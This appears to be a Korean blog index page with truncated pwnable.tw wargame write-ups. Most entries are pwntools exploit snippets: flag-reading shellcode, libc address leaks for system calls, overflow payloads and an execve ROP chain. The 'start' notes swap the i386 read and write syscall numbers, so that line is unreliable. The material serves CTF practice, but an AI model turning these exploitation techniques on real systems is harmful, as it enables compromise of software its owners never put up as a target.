Wargame/▷ pwnable.tw (6) 썸네일형 리스트형 [pwnable.tw] applestore 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758from pwn import * def add(n): r.sendlineafter("> ", '2') r.sendlineafter("Number> ", str(n)) r = remote('chall.pwnable.tw', 10104)#r = process("./applestore")e = ELF("./applestore")#libc = ELF("/lib/i386-linux-gnu/libc.so.6")libc = ELF("./libc_32.so.6") for i in range(6): add(1)for i in ran.. [pwnable.tw] orw 1234567891011121314from pwn import * r = remote('chall.pwnable.tw', 10001)context(arch='i386', os='linux') sm = ''sm += shellcraft.open('/home/orw/flag') sm += shellcraft.read(3, 'esp', 50) sm += shellcraft.write(1, 'esp', 50) sm += shellcraft.exit() r.sendlineafter(':', asm(sm)) r.interactive()Colored by Color Scriptercs [pwnable.tw] silver_bullet 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960from pwn import * s = remote('chall.pwnable.tw', 10103)#s = process('./silver_bullet')e = ELF('./silver_bullet')libc = ELF('libc_32.so.6') pr = 0x8048475one = 0x5fbc5 s.sendlineafter('choice :', '1')s.sendafter('bullet :', 'A'*0x2f + '\x00') s.sendlineafter('choice :', '2')s.sendafter('.. [pwnable.tw] dubblesort 12345678910111213141516171819202122232425262728293031from pwn import * s = remote('chall.pwnable.tw', 10101)#s = process('./dubblesort', env={'LD_PRELOAD':'./libc_32.so.6'})#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')libc = ELF('./libc_32.so.6') s.sendlineafter('name :', 'A'*24)s.recvuntil('AAAA\n')base = u32('\x00' + s.recv(3)) - 0x1b0000system = base + libc.symbols['system']binsh = base + n.. [pwnable.tw] calc 123456789101112131415+360+1+361+134595402 #pop_eax (calc function return address)+362-134595399 #3(read syscall num)+363+81545 #pop_edx_ecx_ebx+364-81537 #edx(size) = 8+365+135106815 #ecx(bss)+366-135106815 #0 ebx(fd)+367-428159 #syscall +368+134167244 #pop_eax+369-134167233 #11(execve syscall num)+370+509711 #pop_edx_ecx_ebx+371-509711 #0(edx)+372-509711 #0(ecx)+373+134678641 #bss(ebx)+374+15 #.. [pwnable.tw] start 문제의 디스어셈 모습이다 system call을 하는거 같은데 read의 syscall 번호는 4 write는 3이다.1은 아마 exit였고 2는 fork? 였다.write의 인자를 보면 20만큼 출력하는데 스택을 ecx에 옮긴 후 인자로 사용한다. gdb로 스택을 분석한 모습(read에 a*8 넣은상태)인데 함수가 끝나기 직전으로 가 스택에 상황을 살펴보면 아래와 같다.push esp - 0xffffce10 push offset _exit - 0x804809d push 3A465443h - CTF: push 20656874h - the\x20 push 20747261h - art\x20 push 74732073h - s\x20st push 2774654Ch - Let'이렇게 스택에 할당이 되있는데 re.. 이전 1 다음